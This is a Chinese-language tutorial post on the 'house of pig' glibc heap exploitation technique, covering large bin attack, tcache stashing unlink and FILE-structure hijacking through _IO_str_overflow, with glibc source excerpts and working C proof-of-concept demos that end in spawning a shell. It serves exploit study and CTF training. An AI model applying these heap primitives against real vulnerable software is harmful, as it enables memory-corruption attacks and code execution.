回炉重修之house of pig 前置知识和带源码io解析
sn0w 发表于 湖南 二进制安全 403浏览 · 2024-08-25 03:29

使用版本

2.31-2.34

满足条件:

1.可以通过large bin attack或者其他 来覆盖_IO_list_all为堆地址 并且伪造IO_file

2.存在calloc函数 因为一般用到pig 是通过malloc memcpy free来进行的

3.存在tcache_stashing unlink

前置知识学习:2.31版本后的large bin attack的利用,tcache_stashing unlink的原理,高版本下IO的攻击思路

2.31下large bin attack利用

利用条件:

1.libc版本:2.31-2.35

2.漏洞利用条件:

1.可以分配两个不同大小的chunk 一个到unsorted bin 一个到largebin 且从unsorted bin 进入large bin的chunk的size要小于原large bin的size

2.可以通过uaf 或者 溢出漏洞去修改,chunk的bk_nextsize为target_addr-0x20

实现效果:

往目标值中写入一个chunk的地址值

漏洞原理:

贴一下glibc2.31的源码

if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
              < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

我们可以看到在2.30版本后新增了两个check

#check 1:
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)\n");
#check 2:
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
  printf("This prevents the traditional large bin attack\n");

所以相比较起来 我们的攻击思路也就是核心代码也改变了,相当于换了一条攻击路径:

if ((unsigned long) (size)
          < (unsigned long) chunksize_nomask (bck->bk))
                {
                  fwd = bck;
                  bck = bck->bk;

                  victim->fd_nextsize = fwd->fd;
                  victim->bk_nextsize = fwd->fd->bk_nextsize;
                  fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                }

转变为这条路径:

已知:

largebin1=p1,largebin2=p2(大的那个)

fwd->fd=p2,bck=p2,p2->bk_nextsize=target-0x20

fwd->fd->bk_nextsize=victim->bk_nextsize->fd_nextsize=victim

==>victim->bk_nextsize->fd_nextsize=victim

且: victim->bk_nextsize = fwd->fd->bk_nextsize;

==>fwd->fd->bk_nextsize->fd_nextsize=victim

==>p2->bk_nextsize->fd_nextsize=victim

==>target-0x20 ->fd_nextsize=victim

==>target=victim

也就是导致下图的这两个效果

测试demo:

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main(){
  size_t target = 0;
  size_t *p1 = malloc(0x428);
  size_t *g1 = malloc(0x18);
  size_t *p2 = malloc(0x418);
  size_t *g2 = malloc(0x18);
  free(p1);
  size_t *g3 = malloc(0x438);
  free(p2);
  p1[3] = (size_t)((&target)-4);
  size_t *g4 = malloc(0x438);
  assert((size_t)(p2-2) == target);
  return 0;
}

tcache_stashing unlink部分

tcache_stashing unlink+

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
      //victim就是要脱链的堆块,也就是small bin里的最后一个
      //这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
    //如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
          bin->bk = bck;//将victim脱链
          bck->fd = bin;
          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
      if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
            && (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
       {
         if (tc_victim != 0)
           {
             bck = tc_victim->bk;//这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
             set_inuse_bit_at_offset (tc_victim, nb);
             if (av != &main_arena)
          set_non_main_arena (tc_victim);
             bin->bk = bck;//将tc_victim从small bin中脱链
             bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
             tcache_put (tc_victim, tc_idx);//将tc_victim链入tc_idx这条链
                }
       }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

bck->fd = bin; 这句代码可以达到和 Unsortedbin Attack 类似的效果,可以将一个 main_arena 中的地址(bin)写入指定位置(bck->fd)

攻击条件

  1. 将一个任意地址当做堆块放入到 tcache 中。

    • 选定一个 n = size,释放五个大小为 n 的堆块进入到 tcache bin
    • 精心准备让一个堆块进入到 unsorted bin 中,同时修改这个堆块的 size 变为 n,再让其进入到 small bin 中。
    • 再重复构造一个同样 size 为 n 的堆块进入 small bin 后,修改该堆块的 bk 指针为 &target - 0x10
    • 在 &target + 8 的位置要存放有任意一个可写的地址,满足检查。
    • 使用 calloc 申请一个 size 为 n 的堆块
    • 此时 target 将被放入 tcache 中。

    注:被修改 bk 指针的堆块,fd 是不能被改变的,所以需要获取到堆地址。

demo调试

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
    tmp = malloc(0x1);
    victim[1] = (uint64_t)(&victim);
    for(int i=0; i<5; i++){
        t1 = calloc(1, 0x50);
        free(t1);
    }
    s1 = malloc(0x420);
    pad = malloc(0x20);
    free(s1);
    malloc(0x3c0);
    malloc(0x100);
    s2 = malloc(0x420);
    pad = malloc(0x80);
    free(s2);
    malloc(0x3c0);
    malloc(0x100);
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
    calloc(1, 0x50);
    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;
    return 0;
}

整个程序流程:通过calloc和malloc加切割unsorted bin结合 来构造五个tcache和两个small bin 并且修改第二个small bin的bk为target -0x10的情况

修改smallbin的bk为target-0x10

然后calloc申请绕过tcache 得到堆块 然后进入stash

然后再通过malloc取出 实现任意写的功能:

tcache_stashing unlink++

将一个任意地址当做堆块放入到 tcache 中,同时可以往一个任意地址写入一个 libc 地址。

  • 选定一个 n = size,释放五个大小为 n 的堆块进入到 tcache bin;
  • 精心准备让一个堆块进入到 unsorted bin 中,同时使得这个堆块的 size 变为 n,再让其进入到 small bin 中;
  • 再重复构造一个同样 size 为 n 的堆块进入 small bin 后,修改该堆块的 bk 指针为 &target1 - 0x10;
  • 在 &target1 + 8 的位置填写 &target2 - 0x10;
  • 使用 calloc 申请一个 size 为 n 的堆块;
  • 此时 target1 将被放入 tcache 中,同时对 target2 写入一个 libc 地址。

注:被修改 bk 指针的堆块,fd 是不能被改变的,所以需要获取到堆地址。

这个整体攻击思路都没啥变化,就是再任意写的基础上 加了一个可利用的点,把target2的位置设为libc就是main_arena+?的值

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;

int main(int argc, char **argv) {
    setbuf(stdout, 0);
    setbuf(stderr, 0);

    char *t1;
    char *s1, *s2, *pad;
    char *tmp;

    tmp = malloc(0x1);
    victim[1] = (uint64_t)(&victim2)-0x10;

    for (int i=0; i<5; i++) {
        t1 = calloc(1, 0x50);
        free(t1);
    }

    s1 = malloc(0x420);
    pad = malloc(0x20);
    free(s1);
    malloc(0x3c0);
    malloc(0x100);

    s2 = malloc(0x420);
    pad = malloc(0x80);
    free(s2);
    malloc(0x3c0);
    malloc(0x100);
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;

    calloc(1, 0x50);

    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;

    return 0;
}

漏洞利用后

既可以任意写,也可以把这个target2覆盖为libc

IO_FILE 利用

在2.23下一般攻击FILE结构体就是劫持IO函数的_chain字段为我们伪造的IO_FILE_plus,然后修改vtable表中的io_str_overflow为system。在高版本libc下,如libc2.31下也依然是利用io_str_overflow这个函数,但io_str_overflow函数的实现发生了变化

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);

      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

malloc的参数new_size

size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

house of pig

如果我们能控制(fp)->_IO_buf_end - (fp)->_IO_buf_base就能够控制malloc申请的chunk大小,再看到后面这一段

if (old_buf)//char *old_buf = fp->_IO_buf_base;
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }

如果old_buf存在内容的情况下,会把old_buf的值复制到new_buf中然后free(old_buf)

但是这里还要满足这个条件:

pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;

pos的值也要设置 也就是设置_IO_write_base为0xffffffff就能保证能进入if语句里面

然后看_IO_str_overflow的汇编代码 在+53的位置有一个mov rdx,qword ptr[rdi + 0x28] 可以劫持rdx 从libc2.29开始,setcontext中的gadget索引由rdi变为了rdx,需要先控制rdx的值才能够进行后续的srop,所以我们的利用办法就是

首先将malloc_hook设置为setcontext+61,然后触发_IO_str_overflow,事先在我们伪造的FILE结构体中设置好相应的数据,从而将rdx赋值为我们可以控制的地址,接着_IO_str_overflow调用malloc触发setcontext,进行srop。

下面通过一个demo来研究io链

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>

// 辅助:定义颜色和修饰符
#define YELLOW "33"
#define GREEN "32"
#define RED "31"
#define BLUE "34"
#define PURPLE "35"
#define HIGHLIGHT "1"
#define STR_END "\033[0m"

// 辅助:定义 printf_color 函数,用于打印彩色文本
void printf_color(const char *color, const char *highlight, const char *format, ...) {
    va_list args;
    va_start(args, format);
    printf("\033[%s;%sm", highlight, color);
    vprintf(format, args);
    printf(STR_END);
    va_end(args);
}

int main() {
    // 步骤1:计算 libc 基地址
    size_t libc_base = 0x7ffff7dd5000;
    printf_color(YELLOW, HIGHLIGHT, "libc的加载地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, libc_base);

    // 步骤2:分配一个chunk来获得堆地址
    printf_color(GREEN, NULL, "通过分配一个chunk(大小为0x500)来获得一个堆地址。\n");
    size_t chunk_1 = (size_t)malloc(0x4F0) - 0x10;
    printf_color(YELLOW, HIGHLIGHT, "获得堆地址为这个chunk的起始地址:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n\n" STR_END, chunk_1);

    // 步骤3:__free_hook 设置
    printf_color(RED, HIGHLIGHT, "通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n");
    printf_color(GREEN, NULL, "为了方便起见,本程序直接对__free_hook附近地址进行修改。\n");
    printf_color(GREEN, NULL, "在实际应用中,需要维护好这个堆地址,在后面的步骤中还会用到。\n");
    printf_color(PURPLE, HIGHLIGHT, "这里在__free_hook-0x10处写入刚才获得的堆地址。\n");

    size_t __free_hook = 0x7fffffffe1a8;
    printf_color(YELLOW, HIGHLIGHT, "__free_hook的地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, __free_hook);

    *(size_t*)(__free_hook - 0x8) = chunk_1;
    printf_color(BLUE, HIGHLIGHT, "已在__free_hook-0x10处写入堆地址。\n\n");

    // 步骤4:修改 _IO_list_all 为堆地址
    printf_color(RED, HIGHLIGHT, "通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n");
    size_t _IO_list_all = 0x7fffffffe1b0;
    printf_color(GREEN, NULL, "_IO_list_all的原本地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, _IO_list_all);

    size_t chunk_2 = (size_t)calloc(1, 0xF0) - 0x10;
    *(size_t*)_IO_list_all = chunk_2;
    printf_color(YELLOW, HIGHLIGHT, "这个chunk的起始地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, chunk_2);

    // 步骤5:伪造 FILE 结构体
    printf_color(RED, HIGHLIGHT, "伪造 FILE 结构体。\n");
    printf_color(GREEN, NULL, "通过第二次分配到的chunk作为假FILE结构体进行构造。\n");

    size_t* fake_FILE = (size_t*)chunk_2;
    fake_FILE[0xC0 / 8] = 0;    // _mode
    fake_FILE[0x28 / 8] = 0xfffffffffff;    // _IO_write_ptr
    fake_FILE[0x30 / 8] = 0;    // _IO_write_base

    size_t _IO_str_jumps = libc_base + 0x1E9560;
    fake_FILE[0xD8 / 8] = _IO_str_jumps;

    fake_FILE[0x38 / 8] = chunk_1 + 0x20;
    fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;
    strcpy((char*)(chunk_1 + 0x20), "/bin/sh");
    *(size_t*)(chunk_1 + 0x20 + 0x10) = (size_t)system;

    // 步骤6:模拟具体攻击流程:tcache stashing unlink attack
    printf_color(RED, HIGHLIGHT, "第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n");

    void* chunks[9];
    for (int i = 0; i < 7; i++)
        chunks[i] = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    chunks[7] = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    chunks[8] = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate

    for (int i = 0; i < 9; i++)
        free(chunks[i]);
    malloc(0xF0);
    malloc(0xF0);
    malloc(0x100);

    *(size_t*)((size_t)(chunks[8]) + 0x8) = __free_hook - 0x20;
    calloc(1, 0xF0);

    printf_color(GREEN, NULL, "已写入__free_hook附近地址。\n\n");

    // 步骤7:调用 exit 函数触发漏洞利用
    printf_color(RED, HIGHLIGHT, "调用 exit 函数触发house of pig漏洞,获取shell。\n");
    exit(-1);

    return 0;
}

这个demo模拟了以下漏洞

1.泄露libc和heap地址

2.构造出largebin,泄露libc地址和heap地址,进行第一次largebin attack,将free_hook-0x8的位置写上一个堆地址,使得tcache_stashing_unlink plus的条件成立

3.为tcache_stashing_unlink plus做好准备,往一个tcache链中放入五个chunk,再往同样大小的smallbin中放入两个chunk,

4.进行tcache_stashing_unlink ,将free_hook-0x10作为一个堆地址链入tcache头,但由于使用calloc,我们无法申请到这个chunk

4.进行第二次largebin attack,将_io_list_all覆盖成一个堆地址,我们在这个堆上伪造IO_FILE,伪造的FILE结构体需要满足要求以调用malloc来申请tcache中的chunk,也就是我们要使2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100=free_hook所在的那个tcache链的大小,并且还要修改vtable指针,vtable原本指向IO_file_jumps,将其修改为指向_IO_str_jumps,原本应该调用 IO_file_overflow 的时候,就会转而调用如下的 IO_str_overflow,这样一来就能够进而调用malloc申请到free_hook-0x10处的空间,而如果_IO_buf_base指向的空间有数据的话,还会将其中的数据拷贝到malloc申请的chunk中,所以我们可以在IO_buf_base指向的空间布置好/bin/sh和system的地址,这样一来就被被memcpy到free_hook-0x10处,IO_str_overflow在最后还会free掉IO_buf_base指向的chunk,这样就会触发system('/bin/sh')getshell

动态调试看house of pig前置满足条件

large bin attack的过程就不说了

tcache_stashing unlink

执行后

成功挂入 但由于我们这里是calloc无法取出,就只能通过house of pig 进入io链条 执行malloc函数 取出后覆盖free_hook函数

IO部分分析

exit->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow

这里针对伪造的结构体,如何伪造的进行分析

fake_FILE[0xC0 / 8] = 0;    // _mode
fake_FILE[0x28 / 8] = 0xfffffffffff;    // _IO_write_ptr
fake_FILE[0x30 / 8] = 0;    // _IO_write_base

size_t _IO_str_jumps = libc_base + 0x1E9560; //vtable
fake_FILE[0xD8 / 8] = _IO_str_jumps;

fake_FILE[0x38 / 8] = chunk_1 + 0x20;//_IO_buf_base
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;//_IO_buf_end

size_t _IO_str_jumps = libc_base + 0x1E9560; //vtable

► 0x7ffff7e6acaf <_IO_flush_all_lockp+255>    call   qword ptr [rax + 0x18]      <_IO_str_overflow>

 RAX  0x7ffff7fc2560 (_IO_str_jumps) ◂— 0

这里是通过覆盖vtable劫持程序流进入IO_str_overflow

fake_FILE[0x28 / 8] = 0xfffffffffff; // _IO_write_ptr
fake_FILE[0x30 / 8] = 0; // _IO_write_base

fake_FILE[0x38 / 8] = chunk_1 + 0x20;//_IO_buf_base
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;//_IO_buf_end

define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

这里满足if的条件然后进入里面且fp->_flag要为0 不然会返回EOF

设置好malloc的size 也就是0x100-0x10(因为之前的tcache free_hook块是0x100)

old_buf 要存在值 然后就可以把old_buf的内容 赋值到new_buf 也就是我们从tcache取出的那个堆块中 就可以通过这个布置system

最后有一个free(old_buf)

getshell:

参考文献:
https://bbs.kanxue.com/thread-268245.htm#msg_header_h3_2
https://blog.csdn.net/qq_54218833/article/details/128575508

0 条评论
某人
表情
可输入 255